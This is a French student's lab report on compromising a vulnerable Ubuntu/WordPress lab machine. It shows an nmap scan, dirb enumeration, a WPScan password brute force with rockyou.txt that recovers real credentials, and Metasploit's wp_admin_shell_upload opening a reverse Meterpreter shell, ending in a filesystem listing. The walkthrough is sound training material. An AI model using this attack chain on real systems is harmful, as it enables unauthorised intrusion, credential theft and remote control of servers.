LLycée Saint sauveur

Machine UBUNTU Server version 16.04.3 LTS

RIMBAULT Enzo

14/02/2024

IP de la machine : 192.168.0.28

A- Scanner la machine avec nmap :

Nmap –sS 192.168.0.28

Exploitation du port 80 http

```
└─# nmap -sS 192.168.0.28
Starting Nmap 7.92 ( https://nmap.org ) at 2024-02-14 11:00 CET
Nmap scan report for 192.168.0.28
Host is up (0.011s latency).
Not shown: 993 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
53/tcp  open  domain
80/tcp  open  http
110/tcp open  pop3
139/tcp open  netbios-ssn
143/tcp open  imap
445/tcp open  microsoft-ds
MAC Address: CC:47:40:BD:E2:06 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
```

B- Recherche de chemins exploitable avec Dirb :

Dirb http://192.168.0.28

```
└─# dirb http://192.168.0.28

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Wed Feb 14 11:02:34 2024
URL_BASE: http://192.168.0.28/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.0.28/ ----
^C> Testing: http://192.168.0.28/caller
```

C- Recherche d'identifiant avec Wpscan :

Wpscan –url http://192.168.0.28/wordpress --passwords /usr/share/wordlists/rockyou.txt

Après obtention des identifiants on a :

```
[+] c0rrupt3d_brain
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - c0rrupt3d_brain / 24992499
Trying c0rrupt3d_brain / 484848 Time: 00:01:59 <

[!] Valid Combinations Found:
 | Username: c0rrupt3d_brain, Password: 24992499
```

D- Utilisation de Metasploit :

Search wp_admin_shell_upload

Use Search wp_admin_shell_upload

Renseigner les différents paramètres comme le montre l'image ci-dessous :

```
Exploit target:

   Id  Name
   --  ----
   0   WordPress

msf6 exploit(unix/webapp/wp_admin_shell_upload) > set username c0rrupt3d_brain
username ⇒ c0rrupt3d_brain
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password 24992499
password ⇒ 24992499
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set targeturi /wordpress
targeturi ⇒ /wordpress
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts 192.168.0.28
rhosts ⇒ 192.168.0.28
msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit
```

Et obtention de la requête :

```
[*] Started reverse TCP handler on 192.168.0.197:4444
[*] Authenticating with WordPress using c0rrupt3d_brain:24992499 ...
[+] Authenticated with WordPress
[*] Preparing payload ...
[*] Uploading payload ...
[*] Executing the payload at /wordpress/wp-content/plugins/WhzMPqHDwE/AUsvvGOjYM.php ...
[*] Sending stage (39282 bytes) to 192.168.0.28
[+] Deleted AUsvvGOjYM.php
[+] Deleted WhzMPqHDwE.php
[+] Deleted ../WhzMPqHDwE
[*] Meterpreter session 1 opened (192.168.0.197:4444 → 192.168.0.28:40968 ) at 2024-02-14 10:12:03 +0100
```

E- Utilisation de Meterpreter :

Pour afficher la totalité des fichiers il faut utiliser la commande suivante :

Ls –a ~/

```
meterpreter > ls -a ~/
Listing: /
==========

Mode              Size      Type  Last modified              Name
----              ----      ----  -------------              ----
040755/rwxr-xr-x  4096      dir   2019-10-30 16:48:04 +0100  bin
040755/rwxr-xr-x  1024      dir   2019-10-30 17:01:51 +0100  boot
040755/rwxr-xr-x  3960      dir   2024-02-14 10:07:48 +0100  dev
040755/rwxr-xr-x  4096      dir   2024-02-07 14:59:45 +0100  etc
040755/rwxr-xr-x  4096      dir   2019-10-30 18:35:13 +0100  home
100644/rw-r--r--  37843920  fil   2019-10-30 17:01:38 +0100  initrd.img
040755/rwxr-xr-x  4096      dir   2019-10-30 16:49:21 +0100  lib
040755/rwxr-xr-x  4096      dir   2019-10-30 16:37:41 +0100  lib64
040700/rwx------  16384     dir   2019-10-30 16:37:35 +0100  lost+found
040755/rwxr-xr-x  4096      dir   2019-10-30 16:38:09 +0100  media
040755/rwxr-xr-x  4096      dir   2017-08-01 13:16:21 +0200  mnt
040755/rwxr-xr-x  4096      dir   2017-08-01 13:16:21 +0200  opt
040555/r-xr-xr-x  0         dir   2024-02-14 10:07:48 +0100  proc
040700/rwx------  4096      dir   2024-02-08 09:26:00 +0100  root
040755/rwxr-xr-x  1060      dir   2024-02-14 10:07:55 +0100  run
040755/rwxr-xr-x  12288     dir   2019-10-30 17:02:00 +0100  sbin
040755/rwxr-xr-x  4096      dir   2017-04-29 10:38:54 +0200  snap
040755/rwxr-xr-x  4096      dir   2019-10-31 23:33:56 +0100  srv
040555/r-xr-xr-x  0         dir   2024-02-14 10:07:42 +0100  sys
041777/rwxrwxrwx  4096      dir   2024-02-14 10:45:01 +0100  tmp
040755/rwxr-xr-x  4096      dir   2019-10-30 16:37:58 +0100  usr
040755/rwxr-xr-x  4096      dir   2019-10-30 16:52:46 +0100  var
100600/rw-------  7095888   fil   2017-07-18 17:00:58 +0200  vmlinuz
```